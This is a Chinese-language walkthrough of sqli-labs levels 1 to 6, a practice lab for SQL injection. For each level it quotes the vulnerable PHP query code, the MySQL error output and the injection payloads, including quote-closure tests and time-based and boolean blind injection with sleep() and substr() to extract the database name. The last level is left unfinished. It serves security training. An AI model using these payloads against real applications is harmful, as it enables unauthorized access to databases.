Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
id作为传参变量,在代码审计中发现传入的id简单拼接后带入sql查询,所以有注入点。
先用 ’ 尝试,报错显示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
所以猜测可能采用了’ 或" 进行闭合,第一步尝试用 ’ 构造payload
?id=1' and 1=1--+
尝试成功,页面正常返回,所以可以确定是采用了 ’ 闭合,所以构造payload时将’ 闭合即可。
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
代码审计发现,获得的id原封不动的传入拼接后带入数据库查询,所以有注入点
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造payload:
?id=1 and 1=1
?id=1 and 1=2
两次返回结果不同,所以有注入点。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
通过代码审计,脚本对传入的id进行了添加(’’)。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造报错:
?id='
显示如下界面:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
可以猜测有’或"加()的闭合,所以构造闭合:
构造payload:
?id=1' and 1=1--+
或者
?id=1' and 1=1#
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
通过代码审计,发现传入的id进行了" "的封装,在拼接sql语句时,又拼接了():
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造报错:
?id="
显示如下界面:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1
所以可以猜测有’或"的加()的存在,所以需要构造闭合。
构造payload:
?id=1") and 1=1--+
或
?id=1") and 1=1#
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
通过代码审计,发现对查询的变量只有You are in…的输出结果。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
else {
echo "Please input the ID as parameter with numeric value";}
所以本关采用盲注思路,盲注一般有两种思路,第一种是基于时间的盲注,第二种是布尔型盲注。
可以利用substr()函数来截断,通过盲注来获得值。
基于时间的盲注:
构造payload:
id=1' and if(length(database())=8,sleep(5),1)--+
通过浏览器的返回时间,判断数据库名的长度,从1开始尝试,直到8时有5秒延迟,所以确定数据库长度为8。
所以下一步盲注数据库名称,利用substr()函数。
构造payload:
id=1' and if(substr(database(),1,1)='a',sleep(5),1)--+
通过爆破可以得出数据库的第一个字母为s,所以继续爆破可以得出其他的字母,从而得出完整数据库。
基于布尔的盲注:
构造payload:
?id=1' and substr(database(),1,1)='s'--+
提示You are in…则表示正确,可以采用爆破来获得。
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
与第五关的思路相同,不同点在于脚本中对sql语句的拼接添加了" "号,所以注入时需要采用"来闭合sql语句,从而注入。
待后续更新。。。。